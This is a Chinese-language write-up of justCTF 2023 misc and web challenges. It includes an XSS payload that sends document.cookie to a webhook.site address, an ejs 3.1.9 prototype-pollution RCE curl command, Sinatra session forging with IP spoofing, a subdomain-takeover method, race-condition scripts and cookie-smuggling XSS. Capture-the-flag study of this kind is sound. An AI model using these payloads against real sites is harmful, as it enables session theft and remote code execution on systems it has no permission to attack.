justCTF 2023 WriteUps
這周在 TSJ 隊伍中解了些 web 和 misc 的題目。
Misc
ECC for Dummies
這題會隨機生成一些 boolean (cards
),然後給你對那些 boolean 問一些問題 (以 cards[i]
組成的 python expression,用 AST 過濾),但有幾個問題的答案它會刻意給錯誤的結果,所以題目名稱的 ECC 應該是指 Error Correcting Code。
不過這題的 len(cards) == 5
,直接送 0 0 0 0 0
當作答案其實就有 1/32 的機率是對的,直接硬爆即可。
1 | while true; do echo '1\n1\n1\n1\n1\n1\n1\n1\n0 0 0 0 0\n' | nc eccfordummies.nc.jctf.pro 1337 | grep flag; done |
不過後來發現它 AST 過濾的部分根本沒寫好,最簡單可以直接 breakpoint()
就過了 XD。
ECC not only for Dummies
這題上了 PoW 並修改了一些題目,但 AST 過濾的部分還是沒寫好,所以也是 breakpoint()
就過了 XD。
1 | breakpoint() |
想要正經版的 Error Correcting Code 題目建議參考 WMCTF 的 nanoDiamond(-rev)
PyPlugins
1 | #!/usr/bin/env python3.10 |
簡單來說這題可以從指定 domain 下載 plugin 並且執行,但是只能執行 LOAD_CONST
, STORE_NAME
, RETURN_VALUE
這三個 opcode,所以類似 pyjail。
首先是要找方法繞 domain 限制,dig 一下那幾個 domain 的 subdomain 會發現它基本上是直接 wildcard CNAME 到 GitHub Pages。
*.blackhat.day
->whateverherebecausewhocares.github.io
*.veganrecipes.soy
->dc3dtest.github.io
*.fizzbuzz.foo
->howdoesthiswork.github.io
所以有機會做 subdomain takeover。
具體方法也很簡單,例如假設我的目標是拿下 maple.blackhat.day
,那就在自己帳號底下建一個 repo 叫 whateverherebecausewhocares.github.io
,然後放一個 CNAME
檔案內容為 maple.blackhat.day
,之後進 repo settings 的 pages 等一下就能 takeover 了。
剩下是 pyjail 的部分,我這邊是注意到它 compile(expr, "", "exec")
的 expr
是 str
,而寫入檔案後再執行時其實是當 bytes
處理的,而 Python 在遇到 bytes
類型的 source code 時是會接受 #coding: ...
這種 comment 的,所以我用這個就繞過了:
1 | #coding: raw_unicode_escape |
不過 flag 是 justCTF{GitHub_P4g3s_Subd0ma1ns_And_Z1pp3d_Pycs_Ar3_Cr4zy!}
,所以顯然不是 intended XD。
這題 intended 是個 CPython 0day (?): py/pyc/zip file type confusion
總之就是 python 是能接受 zip file 當作 input 的 (參考 zipapp),裡面的運作原理和一般 zip 解壓縮很像,就是找 zip 的 end of central directory 之類的。另一方面 CPython 還有個 pyc 檔案包含了一些 header 和 code object,而 code object 上又會有 co_consts
的存在。
所以如果你有個 Python 裡面有個很長的 byte literal 包含了一個 zip,它編譯成 pyc 之後會直接在裡面展開,而此時去執行它的時候 CPython 反而是會因為那個 zip signature 而把它誤認成 zip 來執行。其他的說明可以參考這個。
Python Zip confusion: POC
Web
eXtra Safe Security layers
這題核心部分是這段 code:
1 | app.use((req, res, next) => { |
還有 ejs template 部分有這個:
1 | <script> |
blacklist
部分就一些常見的 js function 如 alert
eval
之類的,很好繞,之後最主要的關鍵是 res.user = { ...res.user, ...req.query }
,這邊可以用 query string 造 object 去蓋過 unmodifiable
的部分,這樣就能改 CSP
和 background
,而 background
直接 code injection 即可。
1 | http://xssl.web.jctf.pro/?text=a&unmodifiable[CSP]=a&unmodifiable[background]=`;location.assign(%27https://webhook.site/XXXXX?%27%2Bdocument.cookie);` |
Dangerous
1 | require "sinatra" |
ruby 題,跑的時候是直接 ruby dangerous.rb
執行的。直接用空 content POST /thread
會有 error page,可發現它是跑在 debug mode 下的,所以能在頁面上找到 session secret。
有 session secret 就代表能隨意修改 cookie,而它底層是用 ruby Marshal.load
去反序列化的。不過在這個 Ruby 3.2 版本中我用 Google 查到的 payload 都沒有成功,所以就只有拿它來修改 session[:username]
而已。
從它給的網站上可知 admin 的 username 是 janitor
,另外還有兩個 thread 都有 admin 的留言,而 thread.erb
裡面有:
1 | <% @replies.each do |reply| %> |
所以可以知道 sha256(admin_ip + '1')[:6]
和 sha256(admin_ip + '2')[:6]
,而 ipv4 空間不大所以可以直接爆:
1 | from hashlib import sha256 |
最後得到的 ip 是 10.24.170.69
,所以改 session 然後用 X-Forwarded-For
偽造 ip 就能拿到 flag 了。
1 | import hashlib, hmac, base64 |
Perfect Product
這題用 ejs 3.1.9,而核心部分 code 是:
1 | app.all('/product', (req, res) => { |
顯然這題的目標是要透過 data 去修改 ejs 的設定,然後弄 code injection 拿 RCE。
參考這個可知我們需要能讓 data.settings
有東西才行,不過單看 code 會覺得是不可能的。不過把 js 的 prorotype 機制加進來考慮的話會發現其實能汙染到 data.__proto__.settings
也是可以的,所以找辦法讓 strings
不是 array 才行。
要繞過那個 assignment 的一個簡單方法是讓 strings instanceof Array
為 true
,而 js 中 { __proto__: [] } instanceof Array
是成立的,所以用 ?v[__proto__][0]&v[_proto__][x]=0
就能讓 data.__proto__.x === '0'
了。
接下來我嘗試使用這個的 payload,但發現它 code injection 很麻煩,需要讓 options 的 payload 和 ejs 的部分內容一致才能做到。不過此時我突然想起不久前打 FCSC 2023 時也有一題類似的題目也是一樣要透過 ejs settings 去 RCE 的,當時我就有找到這個 gadget:
1 | const payload = { |
其他人的 writeup (法文): FCSC 2023 : Peculiar Caterpillar
而且當時的版本也是 ejs 3.1.9,所以直接拿來用就行了:
1 | curl -H 'Content-Type: application/json' -g 'http://sy0rdzpzb0mexasqml3bzv9tqtgqo3.perfectproduct.web.jctf.pro/product?v[__proto__][0]&v[2]=1&v[3]=1&v[4]=1' -G --data-urlencode 'v[_proto__][settings][view%20options][debug]=true' --data-urlencode 'v[_proto__][settings][view%20options][client]=true' --data-urlencode 'v[_proto__][settings][view%20options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("/readflag").toString()' --data-urlencode 'v[_proto__][cache]=' |
還有這種 bug (?) 其實現在 ejs 已經說這不算是 bug 了: Out-of-Scope Vulnerabilities,所以不用修的樣子。
Aquatic Delights
1 | #!/usr/bin/env python |
很標準的 shop app,不過 buy sell 都有上 database lock,所以理論上不應該有 race condition。
不過我把 database_connection
稍微修改一下紀錄當前 entry 的次數方法它其實沒有很好的 lock 住 database:
1 | def database_connection(func): |
因為其實有可能有多個 request 同時都在 database_connection
和 database_lock
中間過渡的過程,所以直接硬 spam 還是有機會 race 成功的,只是比沒 lock 的版本比起來機率比較低而已。
所以就寫個腳本硬 race,而 sell 的次數應該要比 buy 多這樣錢就會增加:
1 | import requests |
Phantom
這題有很簡單的帳號註冊系統,然後登入後可以修改自己的 name 和 description,而 flag 在 admin bot 的 name 中。
其中 description 會經過這個過濾:
1 | func isSafeHTML(input string) bool { |
看到 <svg>
就讓我想到能到因為 <svg>
裡面的 parsing 模式是類似 xml 的,而 <textarea>
內部的內容是不用經過 escape 的 (RCDATA state)。所以 <svg><textarea></svg><script>...
理論上應該是能過的,測試一下也真的可以。
我之所以知道這個是因為不久前我也在 Joplin 中找到了一個很類似的 XSS
剩下就是要怎麼透過繞過 CSRF 去 login 或是修改 profile 了,直接看 code 會發現 profileEdit
(/profile/edit
) 有點特別:
1 | func profileEditHandler(w http.ResponseWriter, r *http.Request) { |
最主要的不同點在於它判斷 method 的地方用了 else,和其他幾個 handler 中的做法不同: } else if r.Method == http.MethodPost {
。直接參考 csrf.go 也能知道 GET
, HEAD
, OPTIONS
, TRACE
這幾個 method 都不會被檢查 csrf token,所以可以透過這幾個 method 並同時送 body 就能成功修改,用 curl 也確定能成功。
然而我找不到方法用 fetch 或是 form 在送 GET
HEAD
request 也能帶 body 的方法,所以就放棄了這條路。
我是改用了 http://xssl.web.jctf.pro
這個 domain 和 https://phantom.web.jctf.pro
屬於 same site 的關係,所以我可從 xssl.web.jctf.pro
改 cookie。
不過 document.cookie = 'session=... ;path=/profile; domain=web.jctf.pro'
因為某些未知原因起不了作用,我猜大概是因為原本的 cookie 是 Secure
或是 HttpOnly
的所以它不給你改。不過幸好我不久前有看到 Cookie Bugs - Smuggling & Injection 這篇文章,從裡面學到了 document.cookie = '=a=b'
在瀏覽器中是個 (key, value) = ('', 'a=b')
的 cookie,而它被 serialize 到 Cookie
header 時會變成 Cookie: a=b
(注意 key 和 value 中間的等號不見了)。這個在 Go 的 cookie parsing algorithm 眼中會是一個 (key, value) = ('a', 'b')
的 cookie,所以透過這個方法就能成功改 session cookie 了。
1 | <script> |
另外是我賽後才知道其實 r.FormValue(key)
其實也會從 query string 讀取,所以 CSRF 其實直接 HEAD /profile/edit?name=&description=XSS
就行了。